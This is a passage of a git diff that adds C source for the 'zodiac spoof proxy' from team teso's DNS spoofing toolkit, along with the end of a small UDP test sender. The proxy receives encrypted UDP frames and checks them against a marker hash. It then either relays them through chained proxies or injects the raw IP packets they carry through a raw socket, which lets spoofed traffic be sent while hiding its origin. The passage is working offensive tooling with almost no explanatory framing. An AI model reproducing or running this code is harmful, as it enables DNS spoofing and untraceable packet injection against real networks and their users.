"dabadiduthisisatestforthezodiacspoofproxywhichisalmightyyoushouldknow:-)"; + + udp_send (NULL, 0, "127.0.0.1", 17852, "foobar", data, strlen (data)); + + exit (EXIT_SUCCESS); +} + + diff --git a/dns-projects/zodiac/src/zsp/zsp.c b/dns-projects/zodiac/src/zsp/zsp.c new file mode 100644 index 0000000..e4aa228 --- /dev/null +++ b/dns-projects/zodiac/src/zsp/zsp.c @@ -0,0 +1,234 @@ +/* zodiac spoof proxy + * + * by team teso + * + * main program + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../io-udp.h" +#include "../network.h" + + +#define VERSION "0.0.3" +#define AUTHORS "team teso" + + +/* nah, no snakeoil here, this is just a packet marker (straight from + * /dev/random), which is used to avoid bouncing of messed up packets. + * you usually don't have to modify it. tho if you do it, modify the + * one in ./src/dns-build.c too to match this one. :-) + * -sc + */ +char match_hash[] = + "\xe7\x30\xbb\x0b\xda\x73\xdf\x98\xf6\x38\xac\x9f\xa3\xcc\xc0\x8f"; + + +char *relay_ip = NULL; +unsigned short int relay_port = 0; +int relay_encrypt = 0; +unsigned char relay_key[32]; + + +int key_read (char *key, size_t keylen, char *text); +void usage (void); +void zsp_process (udp_rcv *packet); + + +int +main (int argc, char **argv) +{ + pid_t pid; + int daemon = 0; + char c; /* option character */ + unsigned short int port = 17852; /* listening port */ + char *ip = NULL; /* local ip to bind to */ + udp_listen *listener; + udp_rcv *packet; + char key[32]; + + + printf ("zodiac spoof proxy v" VERSION " by " AUTHORS "\n\n"); + + while ((c = getopt (argc, argv, "di:r:xp:h")) != EOF) { + switch (c) { + case 'd': + daemon = 1; + break; + case 'i': + ip = optarg; + break; + case 'r': + if (net_parseip (optarg, &relay_ip, &relay_port) != 1) { + fprintf (stderr, "failed to parse ip:port string %s\n", optarg); + exit (EXIT_FAILURE); + } + break; + case 'x': + relay_encrypt = 1; + break; + case 'p': + port = atoi (optarg); + break; + case 'h': + usage (); + break; + default: + fprintf (stderr, "invalid option: %c\n", c); + usage (); + break; + } + } + + if (port == 0 || (relay_ip == NULL && relay_encrypt == 1)) + usage (); + + if (key_read (key, sizeof (key), "enter incoming encryption key: ") == 0 || + (relay_encrypt == 1 && + key_read (relay_key, sizeof (relay_key), "enter outgoing encryption key: ") == 0)) + { + fprintf (stderr, "failed to read required keys... aborting.\n"); + + exit (EXIT_FAILURE); + } + + printf ("\n"); + + + if (daemon == 1) { + printf ("going daemon...\n"); + pid = fork (); + if (pid == -1) + exit (EXIT_FAILURE); + else if (pid != 0) + exit (EXIT_SUCCESS); + printf ("daemon (pid: %d)\n", getpid ()); + } + + listener = udp_setup (ip, port); + if (listener == NULL) { + perror ("failed to aquire udp listener"); + exit (EXIT_FAILURE); + } + + while (1) { + packet = udp_receive (listener); + + if (packet == NULL) { + fprintf (stderr, "udp_receive: NULL packet\n"); + exit (EXIT_FAILURE); + } + + if (packet->udp_len >= (16 + IP_H + UDP_H)) { + packet = udp_decipher (packet, key); + if (memcmp (packet->udp_data, match_hash, 16) == 0) { + zsp_process (packet); + } else { + fprintf (stderr, "!ERROR! received invalid packet, failed at decryption\n"); + } + } else { + fprintf (stderr, "!ERROR! received packet size is too short (%d), skipping\n", + packet->udp_len); + } + + udp_rcv_free (packet); + } + +} + + +int +key_read (char *key, size_t keylen, char *text) +{ + char r_str[16]; + + memset (key, '\x00', keylen); + printf ("%s", text); /* avoid wuftpd like misusage here haha :-) -sc */ + fflush (stdout); + + memset (r_str, '\x00', sizeof (r_str)); + sprintf (r_str, "%%%ds", keylen - 1); + if (scanf (r_str, key) != 1) + return (0); + + while (isspace (key[strlen (key)])) + key[strlen (key)] = '\x00'; + + return (1); +} + + +void +zsp_process (udp_rcv *packet) +{ + int sock; /* raw socket, yeah :) */ + int n; /* temporary return value */ + socklen_t pkt_len = packet->udp_len - 16; + + + /* see whether we just have to relay the frame to another spoof proxy + */ + if (relay_ip != NULL) { + char *key = NULL; + + if (relay_encrypt == 1) + key = relay_key; + + udp_write (relay_ip, relay_port, packet->udp_data, + packet->udp_len, key); + printf ("[pkt] relayed %5d bytes (%d+16) from %s to zsp\n", packet->udp_len, + pkt_len, inet_ntoa (packet->addr_client.sin_addr)); + + return; + } + + + sock = libnet_open_raw_sock (IPPROTO_RAW); + if (sock == -1) { + fprintf (stderr, "!ERROR! failed to aquire raw socket, aborting\n"); + exit (EXIT_FAILURE); + } + + /* kick the packet hard + */ + n = libnet_write_ip (sock, packet->udp_data + 16, + pkt_len); + close (sock); + + if (n < pkt_len) { + fprintf (stderr, "!ERROR! send too less bytes (%d/%d) in packet\n", + n, pkt_len); + } else { + printf ("[pkt] relayed %5d bytes from %s\n", pkt_len, + inet_ntoa (packet->addr_client.sin_addr)); + } + + return; +} + + +void +usage (void) +{ + printf ("usage: zsp [-i ] [-r :[ -x]] [-p ] [-d]\n\n" + "-i specifies the local ip to bind to\n" + "-r relay to another zodiac spoof proxy\n" + "-x reencrypt received frames before sending (2nd key will be asked)\n" + "-p specifies the local port to take packets from (default: 17852)\n" + "-d sets the program into daemon mode\n\n"); + + exit (EXIT_FAILURE); + + return; +} +